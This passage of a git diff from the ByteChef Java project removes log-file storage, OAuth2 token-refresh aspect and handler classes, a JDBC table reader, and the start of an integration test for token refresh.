-        byte[] logLineBytes = (JsonUtils.write(logEntry) + "\n").getBytes(StandardCharsets.UTF_8);
-
-        if (fileStorageService.fileExists(LOG_FILES_DIR, filename)) {
-            FileEntry existingFile = fileStorageService.getFileEntry(LOG_FILES_DIR, filename);
-
-            byte[] existingContent = fileStorageService.readFileToBytes(LOG_FILES_DIR, existingFile);
-
-            byte[] newContent = new byte[existingContent.length + logLineBytes.length];
-
-            System.arraycopy(existingContent, 0, newContent, 0, existingContent.length);
-            System.arraycopy(logLineBytes, 0, newContent, existingContent.length, logLineBytes.length);
-
-            fileStorageService.storeFileContent(LOG_FILES_DIR, filename, newContent);
-        } else {
-            fileStorageService.storeFileContent(LOG_FILES_DIR, filename, logLineBytes);
-        }
-    }
-
-    private List<LogEntry> parseJsonLines(String content) {
-        if (content == null || content.isBlank()) {
-            return List.of();
-        }
-
-        List<LogEntry> entries = new ArrayList<>();
-        String[] lines = content.split("\n");
-
-        for (String line : lines) {
-            if (!line.isBlank()) {
-                entries.add(JsonUtils.read(line, new TypeReference<>() {}));
-            }
-        }
-
-        return entries;
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/src/main/java/com/bytechef/platform/component/log/config/LogFileStorageConfiguration.java b/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/src/main/java/com/bytechef/platform/component/log/config/LogFileStorageConfiguration.java
deleted file mode 100644
index b891b1d39c4..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/src/main/java/com/bytechef/platform/component/log/config/LogFileStorageConfiguration.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.log.config;
-
-import com.bytechef.config.ApplicationProperties;
-import com.bytechef.config.ApplicationProperties.FileStorage.Provider;
-import com.bytechef.file.storage.FileStorageServiceRegistry;
-import com.bytechef.platform.component.log.LogFileStorage;
-import com.bytechef.platform.component.log.LogFileStorageImpl;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-class LogFileStorageConfiguration {
-
-    @Bean
-    LogFileStorage logFileStorage(
-        ApplicationProperties applicationProperties, FileStorageServiceRegistry fileStorageServiceRegistry) {
-
-        Provider provider = applicationProperties.getFileStorage()
-            .getProvider();
-
-        return new LogFileStorageImpl(fileStorageServiceRegistry.getFileStorageService(provider.name()));
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/aspect/TokenRefreshAspect.java b/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/aspect/TokenRefreshAspect.java
deleted file mode 100644
index ad82d6eca97..00000000000
--- a/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/aspect/TokenRefreshAspect.java
+++ /dev/null
@@ -1,275 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.aspect;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.exception.ProviderException;
-import com.bytechef.exception.ConfigurationException;
-import com.bytechef.exception.ErrorType;
-import com.bytechef.exception.ExecutionException;
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.annotation.WithTokenRefresh;
-import com.bytechef.platform.component.context.ContextFactory;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.lang.reflect.Parameter;
-import java.util.HashMap;
-import java.util.Map;
-import org.aspectj.lang.ProceedingJoinPoint;
-import org.aspectj.lang.annotation.Around;
-import org.aspectj.lang.annotation.Aspect;
-import org.aspectj.lang.reflect.MethodSignature;
-import org.jspecify.annotations.Nullable;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.stereotype.Component;
-
-/**
- * Aspect that intercepts methods annotated with {@link WithTokenRefresh} and automatically handles OAuth2 token refresh
- * on credential errors. When a method fails with an exception matching the refreshOn patterns, the aspect will refresh
- * the credentials and retry the method.
- *
- * @author Ivica Cardic
- */
-@Aspect
-@Component
-public class TokenRefreshAspect {
-
-    private static final Logger LOGGER = LoggerFactory.getLogger(TokenRefreshAspect.class);
-
-    private final ContextFactory contextFactory;
-    private final TokenRefreshHandler tokenRefreshHandler;
-
-    @SuppressFBWarnings("EI_EXPOSE_REP2")
-    public TokenRefreshAspect(ContextFactory contextFactory, TokenRefreshHandler tokenRefreshHandler) {
-        this.contextFactory = contextFactory;
-        this.tokenRefreshHandler = tokenRefreshHandler;
-    }
-
-    /**
-     * Intercepts methods annotated with {@link WithTokenRefresh} and handles token refresh on credential errors.
-     *
-     * @param joinPoint        the join point
-     * @param withTokenRefresh the annotation
-     * @return the result of the method execution
-     * @throws Throwable if the method execution fails
-     */
-    @Around("@annotation(withTokenRefresh)")
-    public Object handleTokenRefresh(ProceedingJoinPoint joinPoint, WithTokenRefresh withTokenRefresh)
-        throws Throwable {
-
-        try {
-            return joinPoint.proceed();
-        } catch (Exception exception) {
-            return handleException(joinPoint, withTokenRefresh, exception);
-        }
-    }
-
-    private Object handleException(
-        ProceedingJoinPoint joinPoint, WithTokenRefresh withTokenRefresh, Exception exception) throws Throwable {
-
-        MethodSignature methodSignature = (MethodSignature) joinPoint.getSignature();
-        Object[] args = joinPoint.getArgs();
-        Method method = methodSignature.getMethod();
-        Parameter[] parameters = method.getParameters();
-
-        String componentName =
-            findAnnotatedArgument(parameters, args, WithTokenRefresh.ComponentNameParam.class, String.class);
-
-        if (componentName == null) {
-            throw new IllegalStateException(
-                "Method annotated with @WithTokenRefresh must declare a parameter annotated with " +
-                    "@WithTokenRefresh.ComponentNameParam of type String: " + method.toGenericString());
-        }
-
-        ComponentConnection componentConnection = findConnectionArgument(parameters, args);
-
-        if (componentConnection == null || componentConnection.authorizationType() == null) {
-            throw exception;
-        }
-
-        if (!tokenRefreshHandler.shouldRefresh(componentName, componentConnection, exception)) {
-            throw wrapException(exception, withTokenRefresh);
-        }
-
-        if (LOGGER.isDebugEnabled()) {
-            LOGGER.debug(
-                "Token refresh triggered for component {} due to exception: {}",
-                componentName, exception.getMessage());
-        }
-
-        Context context = createContext(componentName, componentConnection);
-
-        ComponentConnection refreshedConnection = tokenRefreshHandler.refreshCredentials(
-            componentConnection, context);
-
-        Object[] updatedArgs = updateArgsWithRefreshedConnection(args, parameters, refreshedConnection);
-
-        if (LOGGER.isDebugEnabled()) {
-            LOGGER.debug("Retrying method {} with refreshed credentials", method.getName());
-        }
-
-        try {
-            return joinPoint.proceed(updatedArgs);
-        } catch (Exception retryException) {
-            throw wrapException(retryException, withTokenRefresh);
-        }
-    }
-
-    @SuppressWarnings("unchecked")
-    private @Nullable ComponentConnection findConnectionArgument(Parameter[] parameters, Object[] args) {
-        int index = findAnnotatedParameterIndex(parameters, WithTokenRefresh.ConnectionParam.class);
-
-        if (index < 0) {
-            return null;
-        }
-
-        Object value = args[index];
-
-        if (value == null) {
-            return null;
-        }
-
-        if (value instanceof ComponentConnection componentConnection) {
-            return componentConnection;
-        }
-
-        if (value instanceof Map<?, ?> map) {
-            Map<String, ComponentConnection> connectionMap = (Map<String, ComponentConnection>) map;
-
-            if (connectionMap.isEmpty()) {
-                return null;
-            }
-
-            return connectionMap.values()
-                .iterator()
-                .next();
-        }
-
-        return null;
-    }
-
-    private <T> @Nullable T findAnnotatedArgument(
-        Parameter[] parameters, Object[] args, Class<?> annotationClass, Class<T> type) {
-
-        int index = findAnnotatedParameterIndex(parameters, annotationClass);
-
-        if (index < 0) {
-            return null;
-        }
-
-        Object value = args[index];
-
-        if (value == null) {
-            return null;
-        }
-
-        if (type.isInstance(value)) {
-            return type.cast(value);
-        }
-
-        if (type == Integer.class && value instanceof Number number) {
-            return type.cast(number.intValue());
-        }
-
-        return null;
-    }
-
-    private int findAnnotatedParameterIndex(Parameter[] parameters, Class<?> annotationClass) {
-        for (int i = 0; i < parameters.length; i++) {
-            if (parameters[i].isAnnotationPresent(annotationClass.asSubclass(java.lang.annotation.Annotation.class))) {
-                return i;
-            }
-        }
-
-        return -1;
-    }
-
-    @SuppressWarnings("unchecked")
-    private Object[] updateArgsWithRefreshedConnection(
-        Object[] args, Parameter[] parameters, ComponentConnection refreshedConnection) {
-
-        Object[] updatedArgs = args.clone();
-        int index = findAnnotatedParameterIndex(parameters, WithTokenRefresh.ConnectionParam.class);
-
-        if (index < 0) {
-            return updatedArgs;
-        }
-
-        Object currentValue = args[index];
-
-        if (currentValue instanceof ComponentConnection) {
-            updatedArgs[index] = refreshedConnection;
-        } else if (currentValue instanceof Map<?, ?> map) {
-            Map<String, ComponentConnection> connectionMap = (Map<String, ComponentConnection>) map;
-
-            if (!connectionMap.isEmpty()) {
-                String firstKey = connectionMap.keySet()
-                    .iterator()
-                    .next();
-
-                Map<String, ComponentConnection> updatedMap = new HashMap<>(connectionMap);
-
-                updatedMap.put(firstKey, refreshedConnection);
-
-                updatedArgs[index] = updatedMap;
-            }
-        }
-
-        return updatedArgs;
-    }
-
-    private Context createContext(String componentName, ComponentConnection componentConnection) {
-        return contextFactory.createContext(componentName, componentConnection);
-    }
-
-    private Exception wrapException(Exception exception, WithTokenRefresh withTokenRefresh) {
-        if (exception instanceof ProviderException) {
-            ErrorType errorType = getErrorType(withTokenRefresh);
-
-            if (errorType != null) {
-                return new ConfigurationException(exception, errorType);
-            }
-        }
-
-        if (exception instanceof ConfigurationException || exception instanceof ExecutionException) {
-            return exception;
-        }
-
-        return exception;
-    }
-
-    private @Nullable ErrorType getErrorType(WithTokenRefresh withTokenRefresh) {
-        Class<?> errorTypeClass = withTokenRefresh.errorTypeClass();
-        String errorTypeField = withTokenRefresh.errorTypeField();
-
-        if (errorTypeClass == Void.class || errorTypeField.isEmpty()) {
-            return null;
-        }
-
-        try {
-            Field field = errorTypeClass.getField(errorTypeField);
-
-            return (ErrorType) field.get(null);
-        } catch (NoSuchFieldException | IllegalAccessException e) {
-            LOGGER.warn("Could not get error type from {} field {}", errorTypeClass.getName(), errorTypeField, e);
-
-            return null;
-        }
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/aspect/TokenRefreshHandler.java b/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/aspect/TokenRefreshHandler.java
deleted file mode 100644
index a8c04aea91e..00000000000
--- a/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/aspect/TokenRefreshHandler.java
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.aspect;
-
-import static com.bytechef.component.definition.Authorization.ACCESS_TOKEN;
-import static com.bytechef.component.definition.Authorization.EXPIRES_IN;
-import static com.bytechef.component.definition.Authorization.REFRESH_TOKEN;
-
-import com.bytechef.component.definition.Authorization.RefreshTokenResponse;
-import com.bytechef.component.definition.Context;
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.service.ConnectionDefinitionService;
-import com.bytechef.platform.component.util.RefreshCredentialsUtils;
-import com.bytechef.platform.connection.domain.Connection;
-import com.bytechef.platform.connection.service.ConnectionService;
-import com.bytechef.tenant.util.TenantCacheKeyUtils;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.concurrent.locks.ReentrantLock;
-import org.apache.commons.lang3.Validate;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.cache.Cache;
-import org.springframework.cache.CacheManager;
-import org.springframework.stereotype.Component;
-
-/**
- * Handler responsible for refreshing OAuth2 credentials and managing credential status. This handler is used by the
- * TokenRefreshAspect to perform the actual credential refresh operation.
- *
- * @author Ivica Cardic
- */
-@Component
-public class TokenRefreshHandler {
-
-    private static final Logger LOGGER = LoggerFactory.getLogger(TokenRefreshHandler.class);
-
-    private static final String CACHE = TokenRefreshHandler.class.getName() + ".reentrantLock";
-
-    private final CacheManager cacheManager;
-    private final ConnectionDefinitionService connectionDefinitionService;
-    private final ConnectionService connectionService;
-
-    @SuppressFBWarnings("EI_EXPOSE_REP2")
-    public TokenRefreshHandler(
-        CacheManager cacheManager, ConnectionDefinitionService connectionDefinitionService,
-        ConnectionService connectionService) {
-
-        this.cacheManager = cacheManager;
-        this.connectionDefinitionService = connectionDefinitionService;
-        this.connectionService = connectionService;
-    }
-
-    /**
-     * Checks if a token refresh should be attempted for the given exception.
-     *
-     * @param componentName       the name of the component
-     * @param componentConnection the component connection containing authorization info
-     * @param exception           the exception that occurred
-     * @return true if refresh should be attempted, false otherwise
-     */
-    public boolean shouldRefresh(String componentName, ComponentConnection componentConnection, Exception exception) {
-        if (componentConnection == null || componentConnection.authorizationType() == null ||
-            exception.getMessage() == null) {
-
-            return false;
-        }
-
-        if (!componentConnection.canCredentialsBeRefreshed()) {
-            return false;
-        }
-
-        List<Object> refreshOn = connectionDefinitionService.getAuthorizationRefreshOn(
-            componentName, componentConnection.version(),
-            Objects.requireNonNull(componentConnection.authorizationType()));
-
-        return RefreshCredentialsUtils.matches(refreshOn, exception);
-    }
-
-    /**
-     * Refreshes the credentials for the given connection. For OAuth2 authorization code flows, this will refresh the
-     * access token using the refresh token. For custom authorization types, this will acquire new credentials.
-     *
-     * @param componentConnection the component connection to refresh
-     * @param context             the context for the refresh operation
-     * @return a new ComponentConnection with the refreshed credentials
-     * @throws RuntimeException if the refresh operation fails
-     */
-    public ComponentConnection refreshCredentials(ComponentConnection componentConnection, Context context) {
-        Connection connection;
-        Map<String, ?> parameters;
-
-        try {
-            if (LOGGER.isTraceEnabled()) {
-                LOGGER.trace(
-                    "Getting refreshed credentials with oAuth2AuthorizationCode set to {}",
-                    componentConnection.isAuthorizationOauth2AuthorizationCode());
-            }
-
-            if (componentConnection.isAuthorizationOauth2AuthorizationCode()) {
-                RefreshTokenResponse refreshTokenResponse = connectionDefinitionService.executeRefresh(
-                    componentConnection.componentName(), componentConnection.version(),
-                    Objects.requireNonNull(componentConnection.authorizationType()),
-                    componentConnection.getParameters(), context);
-
-                parameters = new HashMap<>() {
-                    {
-                        put(ACCESS_TOKEN, refreshTokenResponse.accessToken());
-
-                        if (Objects.nonNull(refreshTokenResponse.refreshToken())) {
-                            put(REFRESH_TOKEN, refreshTokenResponse.refreshToken());
-                        }
-
-                        if (Objects.nonNull(refreshTokenResponse.expiresIn())) {
-                            put(EXPIRES_IN, refreshTokenResponse.expiresIn());
-                        }
-                    }
-                };
-
-                if (LOGGER.isTraceEnabled()) {
-                    LOGGER.trace("Refresh token execution executed");
-                }
-            } else {
-                parameters = connectionDefinitionService.executeAcquire(
-                    componentConnection.componentName(), componentConnection.version(),
-                    Objects.requireNonNull(componentConnection.authorizationType()),
-                    componentConnection.getParameters(), context);
-
-                if (LOGGER.isTraceEnabled()) {
-                    LOGGER.trace("Acquire executed");
-                }
-            }
-
-            if (LOGGER.isTraceEnabled()) {
-                LOGGER.trace("Credential refresh completed");
-            }
-
-            Cache cache = Objects.requireNonNull(cacheManager.getCache(CACHE));
-
-            ReentrantLock reentrantLock = Validate.notNull(
-                cache.get(
-                    TenantCacheKeyUtils.getKey(componentConnection.connectionId()), () -> new ReentrantLock(true)),
-                "reentrantLock");
-
-            reentrantLock.lock();
-
-            try {
-                connection = connectionService.updateConnectionParameters(
-                    componentConnection.connectionId(), parameters);
-            } finally {
-                reentrantLock.unlock();
-            }
-        } catch (Exception exception) {
-            markCredentialsInvalid(componentConnection.connectionId());
-
-            LOGGER.error("Unable to complete refresh token procedure", exception);
-
-            throw exception;
-        }
-
-        return new ComponentConnection(
-            componentConnection.componentName(), connection.getConnectionVersion(), componentConnection.connectionId(),
-            connection.getParameters(), connection.getAuthorizationType());
-    }
-
-    /**
-     * Marks the credentials for the given connection as invalid.
-     *
-     * @param connectionId the ID of the connection to mark as invalid
-     */
-    public void markCredentialsInvalid(long connectionId) {
-        connectionService.updateConnectionCredentialStatus(connectionId, Connection.CredentialStatus.INVALID);
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemReader.java b/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemReader.java
deleted file mode 100644
index fad673e6f38..00000000000
--- a/server/libs/platform/platform-component/platform-component-service/src/main/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemReader.java
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.jdbc.datastream;
-
-import static com.bytechef.component.definition.ComponentDsl.clusterElement;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.CONDITION;
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.ORDER_BY;
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.ORDER_DIRECTION;
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.SCHEMA;
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.TABLE;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableClusterElementDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.ExecutionContext;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.component.definition.datastream.ItemReader;
-import com.bytechef.platform.component.jdbc.DataSourceFactory;
-import com.bytechef.platform.component.jdbc.JdbcExecutor;
-import java.math.BigDecimal;
-import java.sql.ResultSet;
-import java.sql.ResultSetMetaData;
-import java.sql.SQLException;
-import java.sql.Types;
-import java.time.LocalDate;
-import java.time.LocalDateTime;
-import java.time.LocalTime;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-import org.springframework.jdbc.datasource.SingleConnectionDataSource;
-
-/**
- * @author Ivica Cardic
- */
-public class JdbcItemReader implements ItemReader {
-
-    private SingleConnectionDataSource dataSource;
-    private Iterator<Map<String, Object>> iterator;
-    private final String jdbcDriverClassName;
-    private final String urlTemplate;
-
-    public JdbcItemReader(String urlTemplate, String jdbcDriverClassName) {
-        this.urlTemplate = urlTemplate;
-        this.jdbcDriverClassName = jdbcDriverClassName;
-    }
-
-    public static ModifiableClusterElementDefinition<?> clusterElementDefinition(
-        String urlTemplate, String jdbcDriverClassName) {
-
-        return clusterElement("reader")
-            .title("Read table rows")
-            .description("Reads rows from a table.")
-            .type(SOURCE)
-            .object(() -> new JdbcItemReader(urlTemplate, jdbcDriverClassName))
-            .properties(
-                string(SCHEMA)
-                    .label("Schema")
-                    .description("Name of the schema the table belongs to.")
-                    .required(true)
-                    .defaultValue("public"),
-                string(TABLE)
-                    .label("Table")
-                    .description("Name of the table to read data from.")
-                    .required(true),
-                string(CONDITION)
-                    .label("Condition")
-                    .description("Optional WHERE clause condition (without the WHERE keyword).")
-                    .required(false),
-                string(ORDER_BY)
-                    .label("Order By")
-                    .description("Column name to order the results by.")
-                    .required(false),
-                string(ORDER_DIRECTION)
-                    .label("Order Direction")
-                    .description("Direction of the ordering.")
-                    .options(
-                        option("Ascending", "ASC"),
-                        option("Descending", "DESC"))
-                    .defaultValue("ASC")
-                    .required(false));
-    }
-
-    @Override
-    public void close() {
-        if (dataSource != null) {
-            try {
-                dataSource.close();
-            } catch (Exception exception) {
-                throw new RuntimeException(exception);
-            }
-        }
-    }
-
-    @Override
-    public void open(
-        Parameters inputParameters, Parameters connectionParameters, Context context,
-        ExecutionContext executionContext) {
-
-        this.dataSource = DataSourceFactory.getDataSource(connectionParameters, urlTemplate, jdbcDriverClassName);
-
-        String query = buildSelectQuery(inputParameters);
-
-        List<Map<String, Object>> rows = JdbcExecutor.query(
-            query, Map.of(), (ResultSet resultSet, int rowNum) -> {
-                Map<String, Object> row = new HashMap<>();
-
-                ResultSetMetaData metaData = resultSet.getMetaData();
-                int columnCount = metaData.getColumnCount();
-
-                for (int i = 1; i <= columnCount; i++) {
-                    String columnName = metaData.getColumnName(i);
-
-                    row.put(columnName, resultSet.getObject(i));
-                }
-
-                return row;
-            }, dataSource);
-
-        this.iterator = rows.iterator();
-    }
-
-    @Override
-    public Map<String, Object> read() {
-        if (iterator.hasNext()) {
-            return iterator.next();
-        }
-
-        return null;
-    }
-
-    @Override
-    public List<FieldDefinition> getFields(
-        Parameters inputParameters, Parameters connectionParameters, ClusterElementContext context) {
-
-        List<FieldDefinition> fieldDefinitions = new ArrayList<>();
-
-        try (SingleConnectionDataSource dataSource =
-            DataSourceFactory.getDataSource(connectionParameters, urlTemplate, jdbcDriverClassName)) {
-
-            String schema = inputParameters.getString(SCHEMA, "public");
-            String table = inputParameters.getRequiredString(TABLE);
-
-            String query = "SELECT * FROM %s.%s WHERE 1=0".formatted(schema, table);
-
-            JdbcExecutor.query(
-                query, Map.of(), (ResultSet resultSet, int rowNum) -> {
-                    ResultSetMetaData metaData = resultSet.getMetaData();
-                    int columnCount = metaData.getColumnCount();
-
-                    for (int i = 1; i <= columnCount; i++) {
-                        String columnName = metaData.getColumnName(i);
-                        int columnType = metaData.getColumnType(i);
-                        Class<?> javaType = getJavaType(columnType);
-
-                        fieldDefinitions.add(new FieldDefinition(columnName, columnName, javaType));
-                    }
-
-                    return null;
-                }, dataSource);
-
-            if (fieldDefinitions.isEmpty()) {
-                try (var connection = dataSource.getConnection();
-                    var columnsResultSet = connection.getMetaData()
-                        .getColumns(null, schema, table, null)) {
-
-                    while (columnsResultSet.next()) {
-                        String columnName = columnsResultSet.getString("COLUMN_NAME");
-                        int columnType = columnsResultSet.getInt("DATA_TYPE");
-                        Class<?> javaType = getJavaType(columnType);
-
-                        fieldDefinitions.add(new FieldDefinition(columnName, columnName, javaType));
-                    }
-                }
-            }
-        } catch (SQLException sqlException) {
-            throw new RuntimeException("Failed to get table column metadata", sqlException);
-        }
-
-        return fieldDefinitions;
-    }
-
-    private String buildSelectQuery(Parameters inputParameters) {
-        String schema = inputParameters.getString(SCHEMA, "public");
-        String table = inputParameters.getRequiredString(TABLE);
-        String condition = inputParameters.getString(CONDITION);
-        String orderBy = inputParameters.getString(ORDER_BY);
-        String orderDirection = inputParameters.getString(ORDER_DIRECTION, "ASC");
-
-        StringBuilder queryBuilder = new StringBuilder();
-
-        queryBuilder.append("SELECT * FROM ")
-            .append(schema)
-            .append(".")
-            .append(table);
-
-        if (condition != null && !condition.isBlank()) {
-            queryBuilder.append(" WHERE ")
-                .append(condition);
-        }
-
-        if (orderBy != null && !orderBy.isBlank()) {
-            queryBuilder.append(" ORDER BY ")
-                .append(orderBy)
-                .append(" ")
-                .append(orderDirection);
-        }
-
-        return queryBuilder.toString();
-    }
-
-    private Class<?> getJavaType(int sqlType) {
-        return switch (sqlType) {
-            case Types.BIGINT -> Long.class;
-            case Types.BINARY, Types.VARBINARY, Types.LONGVARBINARY -> byte[].class;
-            case Types.BIT, Types.BOOLEAN -> Boolean.class;
-            case Types.CHAR, Types.VARCHAR, Types.LONGVARCHAR, Types.NCHAR, Types.NVARCHAR, Types.LONGNVARCHAR ->
-                String.class;
-            case Types.DATE -> LocalDate.class;
-            case Types.DECIMAL, Types.NUMERIC -> BigDecimal.class;
-            case Types.DOUBLE, Types.FLOAT -> Double.class;
-            case Types.INTEGER -> Integer.class;
-            case Types.REAL -> Float.class;
-            case Types.SMALLINT -> Short.class;
-            case Types.TIME, Types.TIME_WITH_TIMEZONE -> LocalTime.class;
-            case Types.TIMESTAMP, Types.TIMESTAMP_WITH_TIMEZONE -> LocalDateTime.class;
-            case Types.TINYINT -> Byte.class;
-            default -> Object.class;
-        };
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/aspect/TokenRefreshAspectIntTest.java b/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/aspect/TokenRefreshAspectIntTest.java
deleted file mode 100644
index be5e8f2ca13..00000000000
--- a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/aspect/TokenRefreshAspectIntTest.java
+++ /dev/null
@@ -1,460 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.aspect;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.anyLong;
-import static org.mockito.ArgumentMatchers.anyString;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.doReturn;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Authorization.AuthorizationType;
-import com.bytechef.component.definition.Authorization.RefreshTokenResponse;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.exception.ProviderException;
-import com.bytechef.exception.ConfigurationException;
-import com.bytechef.jackson.config.JacksonConfiguration;
-import com.bytechef.liquibase.config.LiquibaseConfiguration;
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.context.ContextFactory;
-import com.bytechef.platform.component.service.ConnectionDefinitionService;
-import com.bytechef.platform.connection.domain.Connection;
-import com.bytechef.platform.connection.service.ConnectionService;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.ConcurrentHashMap;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.cache.annotation.EnableCaching;
-import org.springframework.context.annotation.ComponentScan;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.EnableAspectJAutoProxy;
-import org.springframework.context.annotation.Import;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-
-/**
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = TokenRefreshAspectIntTest.TestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-class TokenRefreshAspectIntTest {
-
-    @Configuration
-    @ComponentScan(
-        basePackages = {
-            "com.bytechef.platform.component.aspect"
-        })
-    @EnableAutoConfiguration
-    @EnableAspectJAutoProxy
-    @EnableCaching
-    @Import({
-        JacksonConfiguration.class, LiquibaseConfiguration.class
-    })
-    static class TestConfiguration {
-    }
-
-    @Autowired
-    private TokenRefreshTestService tokenRefreshTestService;
-
-    @MockitoBean
-    private ConnectionDefinitionService connectionDefinitionService;
-
-    @MockitoBean
-    private ConnectionService connectionService;
-
-    @MockitoBean
-    private ContextFactory contextFactory;
-
-    @BeforeEach
-    void setUp() {
-        tokenRefreshTestService.reset();
-
-        when(contextFactory.createContext(anyString(), any())).thenReturn(mock(Context.class));
-    }
-
-    @AfterEach
-    void tearDown() {
-        tokenRefreshTestService.reset();
-    }
-
-    @Test
-    void testExecuteNoRefreshNeeded() {
-        ComponentConnection connection = createOAuth2Connection();
-
-        tokenRefreshTestService.setBehavior(() -> "success");
-
